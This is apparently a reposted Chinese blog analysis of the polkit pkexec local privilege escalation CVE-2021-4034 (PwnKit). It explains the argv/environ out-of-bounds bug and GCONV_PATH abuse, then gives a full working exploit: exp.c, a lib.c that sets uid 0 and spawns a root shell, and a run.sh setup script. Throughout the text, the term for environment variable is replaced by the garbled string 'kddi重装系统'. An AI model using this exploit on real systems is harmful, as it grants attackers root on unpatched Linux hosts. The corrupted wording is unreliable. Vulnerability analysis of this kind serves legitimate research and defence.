CVE-2021-4034 PolKit本地提权分析

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CVE-2021-4034 PolKit本地提权分析漏洞简介dockerkddi漏洞原理漏洞触发点
漏洞利用一个小细节利用原理exp
参考

github地址：
chenaotian/CVE-2021-4034

漏洞简介
漏洞编号: CVE-2021-4034
漏洞产品: PolKit (pkexec)
影响版本: 影响2009年 – 今的版本(当前0.105)
源码获取: apt source policykit-1
​ 或
dockerkddi
docker kddi: chenaotian/cve-2021-4034
我自己搭建的docker，提供了：
自己编译的可源码调试的pkexec有调试符号的glibc(貌似没啥用)gdb 和gdb 插件pwngdb & pwndbg(貌似没必要)调试kddi中的exp
所有东西都在 /root/ 目录中：

exp 目录就是exp 和run.sh 所在目录，可以直su test 切换到test 用户然后跑glibc-2.27 是glibc 源码目录，大概率用不上，用到的时候方便gdb 源码调试polkit-0.105 是 policykit 源码包
启动docker：
docker run -d -ti –rm -h cvedebug –name cvedebug –cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
1
测试exp：
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
12345
漏洞原理
漏洞发生的产品是polkit 下的 pkexec 命令。pkexec 和sudo 类似都是能够让我们以其他用户身份(通常是root) 来执行命令的工具。通过dpkg 命令可以查看pkexec 所属包：
dpkg -S /usr/bin/pkexec
1
然后获取源码包(我的docker 之中也有)，之后根据源码包自己编译可以调试的版本方便调试。
漏洞触发点
漏洞触发原理非常简单
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{

··· ···
··· ···

/* 这段的意思就是，循环遍历用户输入参数，根据输入的不同参数设置值
* 但问题在于，他循环遍历的起点是1，没有考虑用户没有输入任何参数的情况
*/
for (n = 1; n < (guint) argc; n++) { if (strcmp (argv[n], "--help") == 0) { opt_show_help = TRUE; } ··· ··· else //如果是无法识别的参数则跳出循环，这里意味着该参数是想要执行的命令 { break; } } ··· ··· g_assert (argv[argc] == NULL); path = g_strdup (argv[n]); //获取执行命令具体字符串 if (path == NULL) { ··· } if (path[0] != '/') { /* g_find_program_in_path() is not suspectible to attacks via the environment */ //该函数会根据PATHkddi重装系统寻找要执行命令的绝对地址 s = g_find_program_in_path (path); if (s == NULL) { ··· } g_free (path); argv[n] = path = s;//把获取到的绝对地址修改回命令行参数 } ··· ··· ··· ··· 123456789101112131415161718192021222324252627282930313233343536373839404142434445 根据代码中我的注释分析： 首先main函数中会根据用户输入的命令行参数进行一些重装系统设置，但这里for 循环的起始值是1，也就是说他默认我们至少会附带一个参数(需要pkexec 执行的命令)如果匹配到非--开头的命令行参数，认为是需要执行的命令，则认为该参数是要用pkexec 执行的命令，而跳出循环进行下面逻辑。调用g_find_program_in_path 函数搜索命令的绝对路径。g_find_program_in_path 函数会根据 PATH kddi重装系统来寻找传入参数(命令)的绝对路径。如传入cat 返回/bin/cat。将返回的绝对路径写回该命令行参数的位置。(可以理解为从命令转换为命令对应文件的绝对路径) 还是很好理解的，但问题在于： linux 二进制程序运行时会将命令行参数argv[]和kddi重装系统environ[]放到栈底部，并且argv[] 和 environ[] 是连着的。其中argv[] 最后一项是null。 如果是命令行启动的pkexec 切不带任何其他参数，那么argv[0] 为"pkexec" ，argv[1] 为\x00 没啥问题。但如果是用execve 函数启动的pkexec ，不带任何其他参数，那么argv[0] 为\x00 ，argv[1] 就到了kddi重装系统了！当读取 argv[1] 的时候就会越界读取到 environ[0] 命令行直接启动 pkexec 的argc 为1，argv[0] 就是pkexec 路径： 用execve 函数启动pkexec，argc 为0： 那这回造成什么影响呢？ 就是当以execve 启动时，不接任何其他参数，那么argv[] 长度为0，那么argv[1] 就是environ[0] 这样上面分析的逻辑就变成了，**获取第一个kddi重装系统的值，并且从PATH kddi重装系统中寻找其绝对路径。如果寻找到则写回第一个kddi重装系统。**那么利用方式如下： 漏洞利用 首先要明确的一点就是，pkexec 是一个特权(suid) 文件： 如何在特权文件中利用kddi重装系统搞点事情呢？首先先了解一个小细节： 一个小细节 linux 的动态连接器ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感kddi重装系统： 函数_dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307 void _dl_non_dynamic_init (void) { ··· ··· ··· ··· if (__libc_enable_secure) //特权模式的情况下 { static const char unsecure_envvars[] = UNSECURE_ENVVARS #ifdef EXTRA_UNSECURE_ENVVARS EXTRA_UNSECURE_ENVVARS #endif ; const char *cp = unsecure_envvars; //循环将危险kddi重装系统列表中的kddi重装系统全部清空(unset) while (cp < unsecure_envvars + sizeof (unsecure_envvars)) { __unsetenv (cp); cp = (const char *) __rawmemchr (cp, '\0') + 1; } #if !HAVE_TUNABLES if (__access ("/etc/suid-debug", F_OK) != 0) __unsetenv ("MALLOC_CHECK_"); #endif } ··· ··· ··· ··· } 12345678910111213141516171819202122232425262728293031 危险kddi重装系统列表 UNSECURE_ENVVARS 定义如下： glibc-2.27/sysdeps/generic/unsecvars.h : 10 #define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0" #define UNSECURE_ENVVARS \ "GCONV_PATH\0" \ "GETCONF_DIR\0" \ GLIBC_TUNABLES_ENVVAR \ "HOSTALIASES\0" \ "LD_AUDIT\0" \ "LD_DEBUG\0" \ "LD_DEBUG_OUTPUT\0" \ "LD_DYNAMIC_WEAK\0" \ "LD_HWCAP_MASK\0" \ "LD_LIBRARY_PATH\0" \ "LD_ORIGIN_PATH\0" \ "LD_PRELOAD\0" \ "LD_PROFILE\0" \ "LD_SHOW_AUXV\0" \ "LD_USE_LOAD_BIAS\0" \ "LOCALDOMAIN\0" \ "LOCPATH\0" \ "MALLOC_TRACE\0" \ "NIS_PATH\0" \ "NLSPATH\0" \ "RESOLV_HOST_CONF\0" \ "RES_OPTIONS\0" \ "TMPDIR\0" \ "TZDIR\0" 1234567891011121314151617181920212223242526 当检测到程序是特权文件(suid) 的时候，会清空上面的这些kddi重装系统，可以看到，绝大部分是LD_ 系列的kddi重装系统，他们都有能指定动态库加载路径的能力。这是防止低权限用户通过这些kddi重装系统让suid 程序加载不可信的so，造成的恶意代码执行进而提权的情况。 而在该漏洞场景下，我们拥有一次任意kddi重装系统写得机会，我们的利用思路就是尝试从上面那些本来没法传入suid 程序中的kddi重装系统中找点东西。 利用原理 由于已经公布了poc，这里直接看答案就很简单了，这里参考了arthepsy的poc。内容很简单，但通过该poc 得知利用关键kddi重装系统是**GCONV_PATH**。确实是上面危险kddi重装系统列表中的一员，甚至是第一个！ 关于GCONV_PATH 与 iconv_open() 函数： iconv_open() 函数申请一个转换描述符，转换字符序列从编码 fromcode 到编码 tcode 转换描述符包含转换状态。iconv_open() 函数首先会找到系统提供的 gconv-modules 文件，这个文件中包含了各个字符集的相关信息存储的路径，每个字符集的相关信息存储在一个.so文件中。然后再根据 gconv-modules 文件的指示去链接参数对应的.so文件执行具体操作。如果存在kddi重装系统 GCONV_PATH ，则 iconv_open() 函数依照GCONV_PATH 找到gconv-modules 文件，后续操作不变。 也就是说，这里GCONV_PATH kddi重装系统也有相当于 LD_LIBRARY_PATH 的功能。他可以指定 iconv_open() 函数搜索so库的文件。我们如果可以伪造GCONV_PATH 然后进一步伪造 gconv-modules 最后在伪造一个 so 就可以完成任意so加载以及任意代码执行。 大体思路如下： 创建一个 名为 GCONV_PATH=. 目录 在 GCONV_PATH=. 目录中创建一个 名为 pwnkitdir 的文件，权限带x 创建一个 名为 pwnkitdir 的目录 在 pwnkit 目录中创建 gconv-modules 文件，依照格式写入如下内容： module UTF-8// PWNKIT// pwnkit 1 1 在 pwnkit 目录中放入恶意so pwnkit.so 里面是获取shell的代码。 设置相关kddi重装系统 第一个kddi重装系统 pwnkitdir第二个kddi重装系统 PATH=GCONV_PATH=. 这样 g_find_program_in_path 函数组合出的路径就是GCONV_PATH=./pwnkitdir 正好是kddi重装系统的格式，而且 ./pwnkitdir 目录存在，GCONV_PATH=./pwnkitdir 文件也存在。CHARSET=PWNKIT kddi重装系统，在走到 iconv_open 前的路径中会用到，用来从 gconv-modules 中搜索soSHELL=xxx ，，在走到 iconv_open 前的路径中会用到 通过 execve 启动 pkexec 参数为空，kddi重装系统为上面设置的值 然后就成功，具体exp如下： exp exp.c #include
#include

int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
“pwnkitdir”,
“PATH=GCONV_PATH=.”,
“CHARSET=PWNKIT”,
“SHELL=xxx”,
NULL
};
execve(“/usr/local/bin/pkexec”, a_argv, a_envp); //注意路径根据实际情况修改哦
}
123456789101112131415
lib.c
#include
#include
#include

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { “sh”, NULL };
static char *a_envp[] = { “PATH=/bin:/usr/bin:/sbin”, NULL };
execve(“/bin/sh”, a_argv, a_envp);
}
123456789101112
run.sh
mkdir ‘GCONV_PATH=.’
touch ‘GCONV_PATH=./pwnkitdir’
chmod 777 ‘GCONV_PATH=./pwnkitdir’
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo “module UTF-8// PWNKIT// pwnkit 1” >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
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利用成功:

参考
漏洞纰漏：
arthepsy‘s poc：